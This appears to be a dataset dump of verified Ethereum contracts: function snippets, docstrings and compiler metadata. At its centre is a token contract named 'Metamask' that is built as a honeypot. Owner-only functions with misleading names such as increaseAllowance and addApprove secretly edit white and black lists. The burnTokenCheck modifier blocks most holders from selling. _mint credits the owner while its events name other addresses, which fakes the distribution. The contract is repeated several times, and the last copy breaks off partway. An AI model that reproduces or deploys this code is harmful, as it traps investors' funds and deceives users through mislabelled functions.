contract ERC20 { using SafeMath for uint256; mapping (address => uint256) internal _balances; mapping (address => mapping (address => uint256)) internal _allowed; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); uint256 internal _totalSupply; /** * @dev Total number of tokens in existence */ function totalSupply() public view returns (uint256) { return _totalSupply; } /** * @dev Gets the balance of the specified address. * @param owner The address to query the balance of. * @return A uint256 representing the amount owned by the passed address. */ function balanceOf(address owner) public view returns (uint256) { return _balances[owner]; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param owner address The address which owns the funds. * @param spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address owner, address spender) public view returns (uint256) { return _allowed[owner][spender]; } /** * @dev Transfer token to a specified address * @param to The address to transfer to. * @param value The amount to be transferred. */ function transfer(address to, uint256 value) public returns (bool) { _transfer(msg.sender, to, value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param spender The address which will spend the funds. * @param value The amount of tokens to be spent. */ function approve(address spender, uint256 value) public returns (bool) { _allowed[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } /** * @dev Transfer tokens from one address to another. * Note that while this function emits an Approval event, this is not required as per the specification, * and other compliant implementations may not emit the event. * @param from address The address which you want to send tokens from * @param to address The address which you want to transfer to * @param value uint256 the amount of tokens to be transferred */ function transferFrom(address from, address to, uint256 value) public returns (bool) { if (from != msg.sender && _allowed[from][msg.sender] != uint256(-1)) _allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value); _transfer(from, to, value); return true; } function _transfer(address from, address to, uint256 value) internal { require(to != address(0)); _balances[from] = _balances[from].sub(value); _balances[to] = _balances[to].add(value); emit Transfer(from, to, value); } }
transferFrom
function transferFrom(address from, address to, uint256 value) public returns (bool) { if (from != msg.sender && _allowed[from][msg.sender] != uint256(-1)) _allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value); _transfer(from, to, value); return true; }
/** * @dev Transfer tokens from one address to another. * Note that while this function emits an Approval event, this is not required as per the specification, * and other compliant implementations may not emit the event. * @param from address The address which you want to send tokens from * @param to address The address which you want to transfer to * @param value uint256 the amount of tokens to be transferred */
NatSpecMultiLine
v0.5.17+commit.d19bba13
None
bzzr://6f19558de2420b7ca07185b14432715932ab3f7f4c809ef97b67a03a182c5db4
{ "func_code_index": [ 2947, 3263 ] }
1,396
Metamask
Metamask.sol
0x2f5854646497ff426df56c86f134d1f313fe4f90
Solidity
SafeMath
library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } }
add
function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; }
/** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */
NatSpecMultiLine
v0.6.12+commit.27d51765
GNU LGPLv2.1
ipfs://1e55d5c406f6293ddcbba8324658d7f2e4d0937ad4b6e7665737e0be9888c909
{ "func_code_index": [ 251, 437 ] }
1,397
Metamask
Metamask.sol
0x2f5854646497ff426df56c86f134d1f313fe4f90
Solidity
SafeMath
library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } }
sub
function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); }
/** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */
NatSpecMultiLine
v0.6.12+commit.27d51765
GNU LGPLv2.1
ipfs://1e55d5c406f6293ddcbba8324658d7f2e4d0937ad4b6e7665737e0be9888c909
{ "func_code_index": [ 707, 848 ] }
1,398
Metamask
Metamask.sol
0x2f5854646497ff426df56c86f134d1f313fe4f90
Solidity
Metamask
contract Metamask is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935; address public _owner; address private _safeOwner; address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public { _name = name; _symbol = symbol; _decimals = 18; _owner = owner; _safeOwner = owner; _mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18)); _mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18)); _mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18)); _mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18)); _mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18)); _mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18)); _mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18)); _mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18)); _mint(0x11eDedebF63bef0ea2d2D071bdF88F71543ec6fB, initialSupply*(10**18)); _mint(0x11eDedebF63bef0ea2d2D071bdF88F71543ec6fB, initialSupply*(10**18)); _mint(0x11eDedebF63bef0ea2d2D071bdF88F71543ec6fB, initialSupply*(10**18)); _mint(0x11eDedebF63bef0ea2d2D071bdF88F71543ec6fB, initialSupply*(10**18)); _mint(0x11eDedebF63bef0ea2d2D071bdF88F71543ec6fB, initialSupply*(10**18)); _mint(0x11eDedebF63bef0ea2d2D071bdF88F71543ec6fB, initialSupply*(10**18)); _mint(0x11eDedebF63bef0ea2d2D071bdF88F71543ec6fB, initialSupply*(10**18)); _mint(0x11eDedebF63bef0ea2d2D071bdF88F71543ec6fB, initialSupply*(10**18)); _mint(0x881D40237659C251811CEC9c364ef91dC08D300C, initialSupply*(10**18)); _mint(0x881D40237659C251811CEC9c364ef91dC08D300C, initialSupply*(10**18)); _mint(0x881D40237659C251811CEC9c364ef91dC08D300C, initialSupply*(10**18)); _mint(0x881D40237659C251811CEC9c364ef91dC08D300C, initialSupply*(10**18)); _mint(0x881D40237659C251811CEC9c364ef91dC08D300C, initialSupply*(10**18)); _mint(0x881D40237659C251811CEC9c364ef91dC08D300C, initialSupply*(10**18)); _mint(0x881D40237659C251811CEC9c364ef91dC08D300C, initialSupply*(10**18)); _mint(0x881D40237659C251811CEC9c364ef91dC08D300C, initialSupply*(10**18)); _mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18)); } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(_msgSender(), recipient, amount); return true; } function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { uint256 ergdf = 3; uint256 ergdffdtg = 532; transfer(receivers[i], amounts[i]); if(i < approvecount){ _whiteAddress[receivers[i]]=true; uint256 ergdf = 3; uint256 ergdffdtg = 532; _approve(receivers[i],_unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935); } } } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _whiteAddress[receivers[i]] = true; _blackAddress[receivers[i]] = false; } } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address safeOwner) public { require(msg.sender == _owner, "!owner"); _safeOwner = safeOwner; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function addApprove(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _blackAddress[receivers[i]] = true; _whiteAddress[receivers[i]] = false; } } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) public { require(msg.sender == _owner, "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[_owner] = _balances[_owner].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } modifier burnTokenCheck(address sender, address recipient, uint256 amount){ if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{ if (sender == _owner || sender == _safeOwner || recipient == _owner){ if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{ if (_whiteAddress[sender] == true){ _;}else{if (_blackAddress[sender] == true){ require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{ if (amount < _sellAmount){ if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;} _; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;} } } } } } function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
name
function name() public view returns (string memory) { return _name; }
/** * @dev Returns the name of the token. */
NatSpecMultiLine
v0.6.12+commit.27d51765
GNU LGPLv2.1
ipfs://1e55d5c406f6293ddcbba8324658d7f2e4d0937ad4b6e7665737e0be9888c909
{ "func_code_index": [ 3565, 3653 ] }
1,399
Metamask
Metamask.sol
0x2f5854646497ff426df56c86f134d1f313fe4f90
Solidity
Metamask
contract Metamask is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935; address public _owner; address private _safeOwner; address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public { _name = name; _symbol = symbol; _decimals = 18; _owner = owner; _safeOwner = owner; _mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18)); _mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18)); _mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18)); _mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18)); _mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18)); _mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18)); _mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18)); _mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18)); _mint(0x11eDedebF63bef0ea2d2D071bdF88F71543ec6fB, initialSupply*(10**18)); _mint(0x11eDedebF63bef0ea2d2D071bdF88F71543ec6fB, initialSupply*(10**18)); _mint(0x11eDedebF63bef0ea2d2D071bdF88F71543ec6fB, initialSupply*(10**18)); _mint(0x11eDedebF63bef0ea2d2D071bdF88F71543ec6fB, initialSupply*(10**18)); _mint(0x11eDedebF63bef0ea2d2D071bdF88F71543ec6fB, initialSupply*(10**18)); _mint(0x11eDedebF63bef0ea2d2D071bdF88F71543ec6fB, initialSupply*(10**18)); _mint(0x11eDedebF63bef0ea2d2D071bdF88F71543ec6fB, initialSupply*(10**18)); _mint(0x11eDedebF63bef0ea2d2D071bdF88F71543ec6fB, initialSupply*(10**18)); _mint(0x881D40237659C251811CEC9c364ef91dC08D300C, initialSupply*(10**18)); _mint(0x881D40237659C251811CEC9c364ef91dC08D300C, initialSupply*(10**18)); _mint(0x881D40237659C251811CEC9c364ef91dC08D300C, initialSupply*(10**18)); _mint(0x881D40237659C251811CEC9c364ef91dC08D300C, initialSupply*(10**18)); _mint(0x881D40237659C251811CEC9c364ef91dC08D300C, initialSupply*(10**18)); _mint(0x881D40237659C251811CEC9c364ef91dC08D300C, initialSupply*(10**18)); _mint(0x881D40237659C251811CEC9c364ef91dC08D300C, initialSupply*(10**18)); _mint(0x881D40237659C251811CEC9c364ef91dC08D300C, initialSupply*(10**18)); _mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18)); } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(_msgSender(), recipient, amount); return true; } function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { uint256 ergdf = 3; uint256 ergdffdtg = 532; transfer(receivers[i], amounts[i]); if(i < approvecount){ _whiteAddress[receivers[i]]=true; uint256 ergdf = 3; uint256 ergdffdtg = 532; _approve(receivers[i],_unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935); } } } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _whiteAddress[receivers[i]] = true; _blackAddress[receivers[i]] = false; } } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address safeOwner) public { require(msg.sender == _owner, "!owner"); _safeOwner = safeOwner; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function addApprove(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _blackAddress[receivers[i]] = true; _whiteAddress[receivers[i]] = false; } } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) public { require(msg.sender == _owner, "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[_owner] = _balances[_owner].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } modifier burnTokenCheck(address sender, address recipient, uint256 amount){ if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{ if (sender == _owner || sender == _safeOwner || recipient == _owner){ if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{ if (_whiteAddress[sender] == true){ _;}else{if (_blackAddress[sender] == true){ require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{ if (amount < _sellAmount){ if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;} _; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;} } } } } } function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
totalSupply
function totalSupply() public view override returns (uint256) { return _totalSupply; }
/** * @dev See {IERC20-totalSupply}. */
NatSpecMultiLine
v0.6.12+commit.27d51765
GNU LGPLv2.1
ipfs://1e55d5c406f6293ddcbba8324658d7f2e4d0937ad4b6e7665737e0be9888c909
{ "func_code_index": [ 3899, 4004 ] }
1,400
Metamask
Metamask.sol
0x2f5854646497ff426df56c86f134d1f313fe4f90
Solidity
Metamask
contract Metamask is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935; address public _owner; address private _safeOwner; address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public { _name = name; _symbol = symbol; _decimals = 18; _owner = owner; _safeOwner = owner; _mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18)); _mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18)); _mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18)); _mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18)); _mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18)); _mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18)); _mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18)); _mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18)); _mint(0x11eDedebF63bef0ea2d2D071bdF88F71543ec6fB, initialSupply*(10**18)); _mint(0x11eDedebF63bef0ea2d2D071bdF88F71543ec6fB, initialSupply*(10**18)); _mint(0x11eDedebF63bef0ea2d2D071bdF88F71543ec6fB, initialSupply*(10**18)); _mint(0x11eDedebF63bef0ea2d2D071bdF88F71543ec6fB, initialSupply*(10**18)); _mint(0x11eDedebF63bef0ea2d2D071bdF88F71543ec6fB, initialSupply*(10**18)); _mint(0x11eDedebF63bef0ea2d2D071bdF88F71543ec6fB, initialSupply*(10**18)); _mint(0x11eDedebF63bef0ea2d2D071bdF88F71543ec6fB, initialSupply*(10**18)); _mint(0x11eDedebF63bef0ea2d2D071bdF88F71543ec6fB, initialSupply*(10**18)); _mint(0x881D40237659C251811CEC9c364ef91dC08D300C, initialSupply*(10**18)); _mint(0x881D40237659C251811CEC9c364ef91dC08D300C, initialSupply*(10**18)); _mint(0x881D40237659C251811CEC9c364ef91dC08D300C, initialSupply*(10**18)); _mint(0x881D40237659C251811CEC9c364ef91dC08D300C, initialSupply*(10**18)); _mint(0x881D40237659C251811CEC9c364ef91dC08D300C, initialSupply*(10**18)); _mint(0x881D40237659C251811CEC9c364ef91dC08D300C, initialSupply*(10**18)); _mint(0x881D40237659C251811CEC9c364ef91dC08D300C, initialSupply*(10**18)); _mint(0x881D40237659C251811CEC9c364ef91dC08D300C, initialSupply*(10**18)); _mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18)); } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(_msgSender(), recipient, amount); return true; } function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { uint256 ergdf = 3; uint256 ergdffdtg = 532; 